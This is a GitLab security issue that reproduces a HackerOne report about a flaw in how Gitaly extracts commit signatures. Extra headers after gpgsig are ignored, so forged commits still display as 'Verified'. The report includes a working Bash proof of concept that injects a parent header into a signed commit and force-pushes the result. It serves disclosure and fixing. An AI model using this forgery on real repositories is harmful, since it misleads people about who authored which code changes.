Commit signature validation ignores headers after signature

⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1929929 by lotsofloops on 2023-04-02, assigned to @fvpotvin:

Report | Attachments | How To Reproduce

Report

Summary

Git commits are stored in a text format. For a signed commit, that normally looks like (for the initial commit in a repo without any parents):

tree be0788944df13c5d170e050f2fe178360c3df5a5  
author Author Name <a@example.com> 1678388328 -0500  
committer Author Name <a@example.com> 1678388328 -0500  
gpgsig -----BEGIN PGP SIGNATURE-----  
 
 ...  
 -----END PGP SIGNATURE-----

Commit message

All of the lines before the commit message are commit headers. The gpgsig header (gpgsig-sha256 for SHA256 repos) contains a commit signature. The signature is computed on all lines of the commit data, except for the gpgsig lines. All Git implementations place gpgsig at the end of the commit headers. However, Git doesn't consider commits with headers after gpgsig to be invalid, and correctly computes the signature on headers after the gpgsig header.

GitLab reimplements the commit signature verification from Git. Specifically:

Gitaly implements the logic for extracting the signature and signed data from a commit
The main GitLab Rails app implements the logic for verifying that the signature is valid for the signed data

This issue is with how Gitaly extracts the signature from a commit. The extractSignatures function in commit_signatures.go assumes that gpgsig is always the last header item, and includes everything after gpgsig in the signature data. So if we take a valid signed commit and add headers after the gpgsig we get a commit like:

tree be0788944df13c5d170e050f2fe178360c3df5a5  
author Author Name <a@example.com> 1678388328 -0500  
committer Author Name <a@example.com> 1678388328 -0500  
gpgsig -----BEGIN PGP SIGNATURE-----  
 
 ...  
 -----END PGP SIGNATURE-----  
extra header data ignored by Gitaly!

Commit message

The extracted signed data is

tree be0788944df13c5d170e050f2fe178360c3df5a5  
author Author Name <a@example.com> 1678388328 -0500  
committer Author Name <a@example.com> 1678388328 -0500

Commit message

and the extracted signature is

-----BEGIN PGP SIGNATURE-----

...  
-----END PGP SIGNATURE-----  
extra header data ignored by Gitaly!

When GitLab later verifies the signature it uses GPGME, which ignores the trailing data after -----END PGP SIGNATURE-----. Since the extracted signed data is the same as with the unaltered commit, this means that we have created a new altered commit that GitLab still considers to be signed. Git itself correctly considers a commit modified in this way to have an invalid signature:

$ git verify-commit [hash]  
gpg: Signature made Thu 30 Mar 2023 01:58:48 PM EST  
gpg:                using RSA key [key]  
gpg: BAD signature from "Author Name <a@example.com>" [unknown]

Side note: it is possible to alter a signed commit and create a new signed commit by adding whitespace to the gpgsig block, and the new altered commit will be considered signed by GitLab and Git. AFAICT this isn't an issue, since it doesn't allow modifying any of the actual commit data.

Steps to reproduce

Make sure you have a GPG key setup locally and added to your GitLab account
Create a GitLab project (don't initialize it with a README)

Create an initial commit using the GPG key

git clone <repo> repo  
cd repo

git commit --allow-empty --gpg-sign -m "Commit message"  
git push

Allow force pushing on master in Settings ➜ Repository ➜ Protected branches ➜ Expand ➜ Unprotect ➜ Unprotect branch

Now you can create a forged commit by running this Bash. This doesn't use the GPG key - you can run this on a different system that has no access to a the GPG key from step 2, and it will still work.

original_hash=$(< .git/refs/heads/master)

# create parent for forged commit:  
git update-ref -d refs/heads/master  
echo "This file will appear to have been deleted" > delfile.txt  
git add delfile.txt  
git commit --no-gpg-sign -m "parent of forged commit"  
git push -f  
attack_parent_hash=$(< .git/refs/heads/master)

# create forged commit:  
forged_hash=$(git cat-file commit $original_hash | \  
# Add extra line after signature block, before body  
sed "/^$/i parent $attack_parent_hash"           | \  
git hash-object -t commit -w --stdin)

# set master branch to forged commit  
git update-ref refs/heads/master $forged_hash  
git push -f

git verify-commit $original_hash # -> Good signature  
git verify-commit $forged_hash # -> BAD signature (but GitLab considers it to be good)

Look at the new most recent commit on GitLab. It will show as "Verified" (despite Git saying it has a BAD signature), and in the new forged commit the committer is shown as deleting a file that they did not actually delete.

Impact

One can make these changes to signed commits and still have GitLab considered them signed:

Change the author name/email/date (if there are multiple author/comitter headers, GitLab uses the last one)
Change the committer date (but not email, since that must match the email on the GPG key)
Add additional commit parents. Since Git computes the commit diff based on the commit parents, you can change the base used to generate the diff.

One can also change the commit encoding and mergetag, but GitLab doesn't use those headers anywhere.

What is the current bug behavior?

extractSignature ends the signature block when it sees an empty line:

if inSignature && !bytes.Equal(line, lineBreak) {

What is the expected correct behavior?

extractSignature ends the signature block when it sees a line that does not begin with a space.

Relevant logs and/or screenshots

Output of checks

This bug happens on GitLab.com

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

image.png

How To Reproduce

Please add reproducibility information to this section: